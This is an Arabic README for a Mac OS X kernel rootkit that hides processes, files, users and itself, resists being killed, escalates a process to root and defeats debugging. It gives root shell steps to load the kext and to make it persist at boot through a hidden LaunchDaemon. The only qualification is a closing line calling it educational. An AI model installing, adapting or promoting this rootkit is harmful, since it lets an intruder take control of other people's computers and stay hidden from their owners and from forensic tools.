inficere

نسخة عامة من روتكت Mac OS X الخاص بي المبني على fractalG's onyx-the-black-cat (https://github.com/gdbinit/onyx-the-black-cat)

تم الاختبار فقط على Mountain Lion، الإصدارات 10.8.2 إلى 10.8.5. غير مضمون العمل على إصدارات أخرى.

الميزات

• إخفاء العمليات - يخفي من 'ps PID', 'ps aux', Activity Monitor, top، إلخ
• إخفاء الملفات/المجلدات
• إخفاء المستخدمين - يخفي مستخدمًا محددًا من 'who', 'w'
• إخفاء الذات - يخفي الوحدة نفسها من kextstat و volatility
• مضاد القتل
• تحويل PID إلى UID 0
• حيل مضادة للتصحيح (معظمها بواسطة @osxreverser) - anti-anti-ptrace، تصحيح task_for_pid(0)، إلخ

التعليمات

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

للاستمرارية عند الإقلاع:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

سيقوم Inficere بإخفاء الملفات أعلاه بعد التحميل.

أود التأكيد على أنني صنعت هذا لأغراض تعليمية فقط.